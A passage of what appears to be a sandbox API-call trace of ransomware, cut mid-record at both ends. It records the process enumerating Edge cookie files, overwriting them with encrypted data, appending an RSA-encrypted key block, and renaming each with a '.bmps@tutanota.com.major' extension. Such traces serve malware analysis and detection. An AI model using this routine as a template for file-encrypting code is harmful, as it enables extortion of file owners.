(dwErrCode=0x0) [0300.740] GetLastError () returned 0x0 [0300.740] SetLastError (dwErrCode=0x0) [0300.740] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33b70a8f, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x50e242f0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0300.740] SetLastError (dwErrCode=0x0) [0300.741] GetLastError () returned 0x0 [0300.741] SetLastError (dwErrCode=0x0) [0300.741] GetLastError () returned 0x0 [0300.741] SetLastError (dwErrCode=0x0) [0300.741] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffb36a7, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x2ffb36a7, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x2ffb36a7, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x237, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0Z215X0U.cookie", cAlternateFileName="0Z215X~1.COO")) returned 1 [0300.741] SetLastError (dwErrCode=0x0) [0300.741] GetLastError () returned 0x0 [0300.741] SetLastError (dwErrCode=0x0) [0300.741] GetLastError () returned 0x0 [0300.741] SetLastError (dwErrCode=0x0) [0300.741] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b4a89e, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x33b4a89e, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x33b4a89e, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1IOSUXS4.cookie", cAlternateFileName="1IOSUX~1.COO")) returned 1 [0300.741] SetLastError (dwErrCode=0x0) [0300.741] GetLastError () returned 0x0 [0300.741] SetLastError (dwErrCode=0x0) [0300.741] GetLastError () returned 0x0 [0300.741] SetLastError (dwErrCode=0x0) [0300.741] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x319ce0a9, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x319ce0a9, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x319ce0a9, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="51HBQ3DH.cookie", cAlternateFileName="51HBQ3~1.COO")) returned 1 [0300.741] SetLastError (dwErrCode=0x0) [0300.742] GetLastError () returned 0x0 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] GetLastError () returned 0x0 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31cb439d, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x31cb439d, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x31cb439d, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="5WBGHGR8.cookie", cAlternateFileName="5WBGHG~1.COO")) returned 1 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] GetLastError () returned 0x0 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] GetLastError () returned 0x0 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3feac643, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x3feac643, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3feac643, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="90T5B7AZ.cookie", cAlternateFileName="90T5B7~1.COO")) returned 1 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] GetLastError () returned 0x0 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] GetLastError () returned 0x0 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd310047d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd310047d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd310529d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AFIOGFFU.txt", cAlternateFileName="")) returned 1 [0300.742] SetLastError (dwErrCode=0x0) [0300.742] GetLastError () returned 0x0 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] GetLastError () returned 0x0 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12f9d52c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f9d52c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12f9d52c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] GetLastError () returned 0x0 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] GetLastError () returned 0x0 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3feac643, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x3feac643, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3feac643, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="K95028HZ.cookie", cAlternateFileName="K95028~1.COO")) returned 1 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] GetLastError () returned 0x0 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] GetLastError () returned 0x0 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3feac643, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x3feac643, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3feac643, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="MRQZFTTG.cookie", cAlternateFileName="MRQZFT~1.COO")) returned 1 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] GetLastError () returned 0x0 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] GetLastError () returned 0x0 [0300.743] SetLastError (dwErrCode=0x0) [0300.743] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3fda15bb, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x3fda15bb, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3fda15bb, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="NYUV1AKA.cookie", cAlternateFileName="NYUV1A~1.COO")) returned 1 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] GetLastError () returned 0x0 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] GetLastError () returned 0x0 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a33141, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x30a33141, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x30a3cd81, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="O87TPGUC.cookie", cAlternateFileName="O87TPG~1.COO")) returned 1 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] GetLastError () returned 0x0 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] GetLastError () returned 0x0 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32ae9cf5, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x32ae9cf5, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x32ae9cf5, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="QJMDM6WR.cookie", cAlternateFileName="QJMDM6~1.COO")) returned 1 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] GetLastError () returned 0x0 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] GetLastError () returned 0x0 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e242f0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e242f0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] GetLastError () returned 0x0 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] GetLastError () returned 0x0 [0300.744] SetLastError (dwErrCode=0x0) [0300.744] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x325efee7, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x325efee7, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x325efee7, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="YJ6N2CFF.cookie", cAlternateFileName="YJ6N2C~1.COO")) returned 1 [0300.745] SetLastError (dwErrCode=0x0) [0300.745] GetLastError () returned 0x0 [0300.745] SetLastError (dwErrCode=0x0) [0300.745] GetLastError () returned 0x0 [0300.745] SetLastError (dwErrCode=0x0) [0300.745] FindNextFileW (in: hFindFile=0x2f371a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x325efee7, ftCreationTime.dwHighDateTime=0x1d3375b, ftLastAccessTime.dwLowDateTime=0x325efee7, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x325efee7, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="YJ6N2CFF.cookie", cAlternateFileName="YJ6N2C~1.COO")) returned 0 [0300.745] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.745] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\YJ6N2CFF.cookie", dwFileAttributes=0x80) returned 1 [0300.745] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\YJ6N2CFF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\yj6n2cff.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0300.746] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=604) returned 1 [0300.746] ReadFile (in: hFile=0x1bac, lpBuffer=0x581478, nNumberOfBytesToRead=0x25c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesRead=0x2e3f9b4*=0x25c, lpOverlapped=0x0) returned 1 [0300.923] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.923] WriteFile (in: hFile=0x1bac, lpBuffer=0x5aa568*, nNumberOfBytesToWrite=0x25c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5aa568*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25c, lpOverlapped=0x0) returned 1 [0300.923] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25c [0300.923] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.923] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.923] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.923] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.924] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.924] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+1AleLt1co2huXey8VUo07GFXuksGIYA47dFQ6Pup+BoVpFM/N8yaVb4bYSYSfEe\n74thyh3z2m/+uCcsI6L31WXyptKuuFQJPbgCPxUWRkUykOwptylUaxodAmKaJO8v\ntcUrm3L8vp3Fe6KfV3YLhv9bURCh9yeE6aU9c62kFIRTcr1U6znTwLjWcHXTkZiC\nLZC75YMDTmtmV8sO+P3pRPqEpw5kqMMq+a3lgTWJhs4Qgmrear06kK13kLWfnjFs\nNMl98eb1HOaLSMCXFpUNFFjLouhGyjx0kiQKAg9tuh73W+pcArjihBavCZlrMFZM\nenYj3Ge/jcbXGTr891mgXg==\n", pcchString=0x2e3f9a8) returned 1 [0300.924] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.924] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.924] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.924] CloseHandle (hObject=0x1bac) returned 1 [0300.924] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\YJ6N2CFF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\yj6n2cff.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\YJ6N2CFF.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\yj6n2cff.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.926] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.926] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\QJMDM6WR.cookie", dwFileAttributes=0x80) returned 1 [0300.927] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\QJMDM6WR.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\qjmdm6wr.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0300.928] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=456) returned 1 [0300.928] ReadFile (in: hFile=0x1bac, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1c8, lpOverlapped=0x0) returned 1 [0300.928] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.929] WriteFile (in: hFile=0x1bac, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1c8, lpOverlapped=0x0) returned 1 [0300.929] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1c8 [0300.929] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.929] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.929] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.929] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.929] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.929] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vKJW968aw1zKVOQC4LH4/deQK9zS+vQXIf43oR2JQGefZNkMaJJYzbToT0mYKBq7\nqCoTamDTTfyWlSvQBZZF5fetsWRi5KcLfG4lW4FJYNuyrtmA5x4MDteP7u2BjNe3\nbaurScX/CAh6PmO6jlkamneB/bKH8sCLaAT/jk0Osg4XR7ZGTCMYjhic62VeljMk\niRPbbcFpyVTXAxqtUtvbtjcv4DgiJ70SCz78Yf5XPjovp3FHoJZ5BqXYa93jeRaf\nV1grW1+yepCyFMzBcEV/DFqAzrCyih34VznR4CEf8h7Za8kMLuAcDF8s0ppj/tsQ\nGouaxVYvyKvS7SLocF4Hog==\n", pcchString=0x2e3f9a8) returned 1 [0300.929] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.930] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.930] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.930] CloseHandle (hObject=0x1bac) returned 1 [0300.930] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\QJMDM6WR.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\qjmdm6wr.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\QJMDM6WR.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\qjmdm6wr.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.933] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.933] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\O87TPGUC.cookie", dwFileAttributes=0x80) returned 1 [0300.934] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\O87TPGUC.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\o87tpguc.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0300.934] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=429) returned 1 [0300.935] ReadFile (in: hFile=0x1bac, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ad, lpOverlapped=0x0) returned 1 [0300.935] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-429, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.936] WriteFile (in: hFile=0x1bac, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x1ad, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ad, lpOverlapped=0x0) returned 1 [0300.936] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ad [0300.936] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.936] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.936] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.936] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.936] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.936] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 